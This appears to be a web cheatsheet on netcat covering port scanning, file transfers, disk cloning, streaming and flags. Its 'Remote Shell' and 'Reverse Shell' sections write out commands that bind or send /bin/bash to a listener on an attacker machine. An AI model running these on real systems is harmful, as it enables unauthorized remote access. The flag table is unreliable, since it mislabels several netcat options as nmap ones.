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Netcat (nc) Command Cheatsheet

Comprehensive Netcat (nc) guide covering TCP/UDP connections, port scanning, file transfers, encryption, remote shells, and network troubleshooting. Master the Swiss Army knife of networking tools.

#netcat #nc #networking #port-scanning #tcp #udp #file-transfer #security
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Netcat Syntax

$ nc [options] [host] [port]

Description:
The nc (or netcat) utility is used for almost anything involving TCP, UDP, or UNIX sockets. It can establish TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports, perform port scanning, and handle IPv4 and IPv6. Master netcat alongside our basic networking operations guide.

Table of Contents

1. Port Scanning and Banner Grabbing 2. Downloading Files 3. Uploading Files 4. Compress and Transfer 5. Encrypt and Transfer 6. Cloning Linux Disk Drive 7. Remote Shell 8. Reverse Shell 9. Video Streaming 10. Chat Application 11. Common Flags and Options

Port Scanning and Banner Grabbing

Scan for ports between 1 and 100 

$ nc -zvn 192.168.59.1 1-100

Scan ports 1, 22 and 443

$ nc -zvn 192.168.59.1 80 22 443

Scan only port 80

$ nc -zvn 192.168.59.1 80

Scan for port 80 on sysxplore.com 

$ nc -zvn sysxplore.com 80

Grab sysxplore.com 80 banner

$ nc sysxplore.com 80

🔍 Network diagnostic tools: Use our Port Scanner for automated port scanning | DNS Lookup for domain resolution | WHOIS for domain information
📚 Learn more: Linux Networking Commands for network troubleshooting

Downloading Files

Sending Side (192.168.59.3)

$ nc -lvp 8888 < data.txt

Receiving Side

$ nc -nv 192.168.59.3 8888 > data.txt

Uploading Files

Receiving Side (192.168.59.3) 

$ nc -lvp 8888 > data.txt

Sending Side

$ nc 192.168.59.3 8888 < data.txt

Compress and Transfer

This is very useful when you want to transfer directories

Sending Side

$ tar cfp - /webdocs | compress -c | nc 192.168.59.54 8888

Receiving Side (192.168.59.54) 

$ nc -l -p 8888 | uncompress -c | tar xvfp -

Encrypt and Transfer

File transfers using netcat are not encrypted by default, anyone on the network can grab what you are sending, so it is important to encrypt data before sending. For production environments, consider using secure SSH file transfer alternatives. Learn more about security best practices.

Sending Side (192.168.59.3)

$ nc -l -p 8888 | openssl enc -d -des3 -pass pass:password > creds.txt

Receiving Side

$ openssl enc -des3 -pass pass:password | nc 192.168.59.3 8888

Cloning Linux Disk Drive

This is very handy when you want to clone a Linux system.

Sending Side (192.168.59.3)

$ dd if=/dev/sdb | nc -l -p 8888

Receiving Side

$ nc -n 192.168.59.3 8888 | dd of=/dev/sdb

Remote Shell

Server (192.168.59.3)

$ nc -nvlp 8888 -e /bin/bash

Client

$ nc -nv 192.168.59.3 8888

Security Warning: Remote shell access should only be used in controlled environments. Always use SSH for production systems. Review our secure remote access practices.

Reverse Shell

Attacker's Machine (192.168.59.3)

$ nc -nlvp 8888

Victim's Machine

$ nc 192.168.59.3 8888 -v -e /bin/bash

Security Alert: This technique is commonly used in security testing. Never use reverse shells on systems without proper authorization. Implement security hardening practices and use secure alternatives in production.

Video Streaming

Server (192.168.59.3)

$ cat video.avi | nc -lvp 8888

Client

$ nc 192.168.59.3 8888 | mplayer -vo x11 -cache 3000 -

Chat Application

Server (192.168.59.3)

$ nc -lvp 8888

Client

$ nc 192.168.59.3 8888

Common Flags and Options

Flag Description
-4 Forces nc to use IPv4 addresses only.
-6 Forces nc to use IPv6 addresses only.
-l Instruct netcat to listen for incoming connections.
-v Provide verbose output.
-n Disable DNS lookup on ip addresses and hostnames.
-p Specifies the source port netcat should use.
-w Specifies the timeout value.
-u Use UDP instead of the default option of TCP.
-k Forces netcat to continue listening after disconnection.
-z Instructs nmap to scan for listening daemons.
-h Show nmap help.
-x Use nmap with a proxy.

📖 Command references: Basic Linux Commands | Network troubleshooting guide
🛠️ Network tools: Explore our diagnostic tools collection

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